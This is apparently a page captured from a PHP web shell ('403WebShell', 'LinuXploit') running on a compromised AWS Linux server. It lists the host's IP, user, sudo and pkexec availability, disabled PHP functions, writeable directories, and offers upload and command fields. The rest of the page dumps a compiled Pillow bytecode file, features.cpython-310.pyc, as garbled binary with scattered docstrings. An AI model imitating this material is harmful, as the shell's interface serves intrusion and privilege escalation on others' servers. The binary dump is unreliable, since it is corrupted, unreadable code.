Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/PIL/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/PIL/__pycache__/features.cpython-310.pyc
o

Z#�a�$�
@s�ddlZddlZddlZddlZddlZddlmZdddddd	�Zd
d�Zdd
�Z	dd�Z
ddddd�Zdd�Zdd�Z
dd�Zdddddd d!d"d#d$�	Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd4d2d3�ZdS)5�N�)�Image)�PIL._imaging�PILLOW_VERSION)zPIL._tkinter_finder�
tk_version)�PIL._imagingft�freetype2_version)zPIL._imagingcms�littlecms_version)�	PIL._webp�webpdecoder_version)�pil�tkinter�	freetype2�
littlecms2�webpcCsF|tvrtd|����t|\}}zt|�WdSty"YdSw)z�
    Checks if a module is available.

    :param feature: The module to check for.
    :returns: ``True`` if available, ``False`` otherwise.
    :raises ValueError: If the module is not defined in this version of Pillow.
    zUnknown module TF)�modules�
ValueError�
__import__�ImportError��feature�module�ver�r�./usr/lib/python3/dist-packages/PIL/features.py�check_modules�rcCs8t|�sdSt|\}}|durdStt||gd�|�S)z�
    :param feature: The module to check for.
    :returns:
        The loaded version number as a string, or ``None`` if unknown or not available.
    :raises ValueError: If the module is not defined in this version of Pillow.
    N��fromlist)rr�getattrrrrrr�version_module'srcC�dd�tD�S)z4
    :returns: A list of all supported modules.
    cS�g|]}t|�r|�qSr)r��.0�frrr�
<listcomp>=�z)get_supported_modules.<locals>.<listcomp>)rrrrr�get_supported_modules9�r')�jpeg�jpeglib)�jpeg2k�jp2klib)�zip�zlib)�libtiffr/)�jpg�jpg_2000r.r/cCs4|tvrtd|����t|\}}|dttj�vS)z�
    Checks if a codec is available.

    :param feature: The codec to check for.
    :returns: ``True`` if available, ``False`` otherwise.
    :raises ValueError: If the codec is not defined in this version of Pillow.
    zUnknown codec �_encoder)�codecsr�dirr�core)r�codec�librrr�check_codecHsr8cCsLt|�sdSt|\}}ttj|d�}|dkr$|�d�d�d�dS|S)a
    :param feature: The codec to check for.
    :returns:
        The version number as a string, or ``None`` if not available.
        Checked at compile time for ``jpg``, run-time otherwise.
    :raises ValueError: If the codec is not defined in this version of Pillow.
    N�_versionr/�
rzVersion r)r8r3rrr5�split)rr6r7�versionrrr�
version_codecXsr=cCr )z3
    :returns: A list of all supported codecs.
    cSr!r)r8r"rrrr%qr&z(get_supported_codecs.<locals>.<listcomp>)r3rrrr�get_supported_codecsmr(r>)r
�
HAVE_WEBPANIMN)r
�HAVE_WEBPMUXN)r
�HAVE_TRANSPARENCYN)r�	HAVE_RAQM�raqm_version)r�HAVE_FRIBIDI�fribidi_version)r�
HAVE_HARFBUZZ�harfbuzz_version)r�HAVE_LIBJPEGTURBO�libjpeg_turbo_version)r�HAVE_LIBIMAGEQUANT�imagequant_version)r�HAVE_XCBN)	�	webp_anim�webp_mux�transp_webp�raqm�fribidi�harfbuzz�
libjpeg_turbo�
libimagequant�xcbcCsT|tvrtd|����t|\}}}z
t|dgd�}t||�WSty)YdSw)z�
    Checks if a feature is available.

    :param feature: The feature to check for.
    :returns: ``True`` if available, ``False`` if unavailable, ``None`` if unknown.
    :raises ValueError: If the feature is not defined in this version of Pillow.
    zUnknown feature �PILrN)�featuresrrrr)rr�flagr�imported_modulerrr�
check_feature�s�rZcCs:t|�sdSt|\}}}|durdStt||gd�|�S)z�
    :param feature: The feature to check for.
    :returns: The version number as a string, or ``None`` if not available.
    :raises ValueError: If the feature is not defined in this version of Pillow.
    Nr)rZrWrr)rrrXrrrr�version_feature�sr[cCr )z5
    :returns: A list of all supported features.
    cSr!r)rZr"rrrr%�r&z*get_supported_features.<locals>.<listcomp>)rWrrrr�get_supported_features�r(r\cCsJ|tvrt|�S|tvrt|�S|tvrt|�Stjd|�d�dd�dS)z�
    :param feature: A module, codec, or feature name.
    :returns:
        ``True`` if the module, codec, or feature is available,
        ``False`` or ``None`` otherwise.
    zUnknown feature 'z'.�)�
stacklevelF)rrr3r8rWrZ�warnings�warn�rrrr�check�srbcCs4|tvrt|�S|tvrt|�S|tvrt|�SdS)z�
    :param feature:
        The module, codec, or feature to check for.
    :returns:
        The version number as a string, or ``None`` if unknown or not available.
    N)rrr3r=rWr[rarrrr<�sr<cCs"t�}|�t��|�t��|S)zJ
    :returns: A list of all supported modules, features, and codecs.
    )r'�extendr\r>)�retrrr�
get_supported�sreTc	Cs|durtj}t��td|d�tdtj��|d�tj��}td|d�	���|d�|dd�D]
}td|�	���|d�q3td|d�td	t
j�tj
���|d�td
t
j�tjj
���|d�td|d�dD]r\}}t|�r�|dkr�td
�r�dtd
�}nt|�}|dur�|dv}|dkr�tdd�|�d�D��dk}|r�dnd}|dkr�dD]}t|�}	|	dur�|d|�d|	��7}q�td|d|||d�qltd|d|d�qltd|d|d�qltd|d�|�r�t�t�}
tj��D]\}}|
|�|�q�ttj�D]~}|�}
|tjv�r|
�dtj|��}
t|
|d�||
v�r3td �d�t|
|���|d�g}|tjv�r@|�d!�|tj v�rK|�d"�|tj!v�rV|�d#�|tj"v�ra|�d$�|tj#v�rl|�d%�td&�d�|��|d�td|d��qdSdS)'aG
    Prints information about this installation of Pillow.
    This function can be called with ``python3 -m PIL``.

    :param out:
        The output stream to print to. Defaults to ``sys.stdout`` if ``None``.
    :param supported_formats:
        If ``True``, a list of all supported image file formats will be printed.
    NzD--------------------------------------------------------------------)�filezPillow zPython rrz       zPython modules loaded from zBinary modules loaded from ))rzPIL CORE)r
�TKINTER)r�	FREETYPE2)r�
LITTLECMS2)r�WEBP)rOzWEBP Transparency)rN�WEBPMUX)rMzWEBP Animation)r0�JPEG)r1zOPENJPEG (JPEG2000))r.zZLIB (PNG/ZIP))r/�LIBTIFF)rPzRAQM (Bidirectional Text))rTz#LIBIMAGEQUANT (Quantization method))rUzXCB (X protocol)r0rSzlibjpeg-turbo )rr0rcss�|]}t|�VqdS)N)�int)r#�xrrr�	<genexpr>s�zpilinfo.<locals>.<genexpr>�.)r]�zcompiled for�loadedrP)rQrRz, � z---zsupport ok,z
support okz***zsupport not installedzExtensions: {}�open�save�save_all�decode�encodezFeatures: {})$�sys�stdoutr�init�printrV�__version__r<�
splitlines�strip�os�path�dirname�__file__r5rbrZr[�tupler;�collections�defaultdict�list�	EXTENSION�items�append�sorted�ID�MIME�format�join�OPEN�SAVE�SAVE_ALL�DECODERS�ENCODERS)�out�supported_formats�
py_version�namer�v�version_static�tr$�v2�
extensions�ext�i�linerWrrr�pilinfo�s�
���

�




�r�)NT)r�r�rzr_rV�rrrrr'r3r8r=r>rWrZr[r\rbr<rer�rrrr�<module>sP�	��


Youez - 2016 - github.com/yon3zu
LinuXploit